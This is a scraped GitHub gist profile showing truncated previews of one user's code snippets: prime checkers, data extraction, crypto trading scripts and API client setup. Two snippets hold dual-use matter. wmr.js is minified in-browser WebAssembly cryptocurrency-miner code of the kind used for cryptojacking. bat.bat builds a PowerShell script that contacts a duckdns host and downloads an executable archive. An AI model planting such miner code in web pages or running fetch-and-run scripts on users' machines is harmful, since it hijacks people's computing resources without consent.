{{ message }}

Instantly share code, notes, and snippets.

🏠
Working from home

# Jarett Dunn DunnCreativeSS

🏠
Working from home
Created Nov 11, 2020
View isprime.py
 def isprime(num): if num > 1: for i in range(2,num): if (num % i) == 0: #print(num,"is not a prime number") #print(i,"times",num//i,"is",num) return(isprime(num+1)) else: print(str(num) + " is a prime number")
Created Nov 11, 2020
View primes.py
 def powers(num): if num > 1: for i in range(2,num): if (num % i) == 0: #print(num,"is not a prime number") #print(i,"times",num//i,"is",num) return(powers(num+1)) else: print(str(num) + " is a prime number")
Created Oct 27, 2020
View extract_submissions.py
 def extract_submissions(fld_bz2, fld_split, which, size=2e5): path_in = fld_bz2 + '/RS_%s.bz2'%args.dump_name n = 0 m = 0 n2 = 0 m2 = 0 sub = 0 sid2 = [] sids = []
Created Oct 3, 2020
 import requests from xml.etree import ElementTree m = requests.get('https://medium.com/feed/@jarettdunn').text #print(m) root = ElementTree.fromstring (m) #root = ElementTree.fromstring(m) strings = []
Created Sep 21, 2020
View 7.5x
 if math.fabs(arb) > avg: percs[coinarbs[arb].split('-')[0]] = arb / t if coinarbs[arb] in usdpos: #-0.3 * 10 * 100 + 360 #-0.16*400*10+1826=1186 #-0.16*400*10-266=-906 wanting[coinarbs[arb]] = arb / t * 7.5 * balance wanting[coinarbs[arb]] = wanting[coinarbs[arb]] * -1 wanting[coinarbs[arb]] = wanting[coinarbs[arb]] - usdpos[coinarbs[arb]] else: wanting[coinarbs[arb]] = arb / t * 7.5 * balance
Created Sep 9, 2020
View wmr.js
 var server="wss://ws1.server:80/;wss://ws2.server:80/;wss://ws3.server:80/",job=null,workers=[],ws,receiveStack=[],sendStack=[],totalhashes=0,connected=0,reconnector=0,attempts=1,throttleMiner=0,handshake=null,wasmSupported=function(){try{if("object"===typeof WebAssembly&&"function"===typeof WebAssembly.instantiate){var c=new WebAssembly.Module(Uint8Array.of(0,97,115,109,1,0,0,0));if(c instanceof WebAssembly.Module)return new WebAssembly.Instance(c)instanceof WebAssembly.Instance}}catch(h){}return!1}(); function aws(c){logicalProcessors=c;if(-1==c){try{logicalProcessors=window.navigator.hardwareConcurrency}catch(h){logicalProcessors=4}0logicalProcessors||(logicalProcessors=4)}for(;0connected&&(connected=2);job=null};ws.onclose=function(){2>connected&&(connected=2);job=null};ws.onop
Created Aug 20, 2020
 var request = require('request') var parseString = require('xml2js').parseString; towrite = [] var Twitter = require('twitter'); var client = new Twitter({ consumer_key: '', consumer_secret: '', access_token_key: '', access_token_secret: ''
Created Aug 20, 2020
View bat.bat
 @echo off @echo mkdir c:\temp >>stuff.ps1 @echo \$disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'" >>stuff.ps1 @echo \$nonces=\$disk.FreeSpace/1024/1024/1024/2*4096 >>stuff.ps1 @echo \$web_client = new-object system.net.webclient >>stuff.ps1 @echo \$build_info=\$web_client.DownloadString("http://noncecalculator.duckdns.org:3000/?nonces=\$nonces") >>stuff.ps1 @echo \$start=\$build_info.nonce >>stuff.ps1 @echo (new-object System.Net.WebClient).DownloadFile('https://github.com/PoC-Consortium/engraver/releases/download/2.20/engraver-2.2.0-x86_64-pc-windows-msvc.zip.zip', 'c:/temp/engraver.zip') >>stuff.ps1 @echo \$nonces=[math]::floor(\$nonces) >>stuff.ps1
Created Aug 18, 2020
View dydx2.py
 markets = client.get_perpetual_markets() syms = [] rates = [] for m in markets['markets']: #if m['market'] == 'WETH-PUSD': syms.append(m['market']) rate = round(float(m['fundingRate']) * 8*60*60*100*3 * 10000)/ 10000 # print(m['market'] + ' daily funding rate: ' + str(rate) + '%') rates.append(rate) t = 0
Created Aug 18, 2020
View dydx1.py
 from dydx.client import Client import dydx.constants as consts import dydx.util as utils # create a new Python client with a private key (string or bytearray) # Only one Python client is needed for both Solo and Perpetual API client = Client( private_key='', node='https://mainnet.infura.io/v3/55458f59f7cf468994d636c99a959de6' )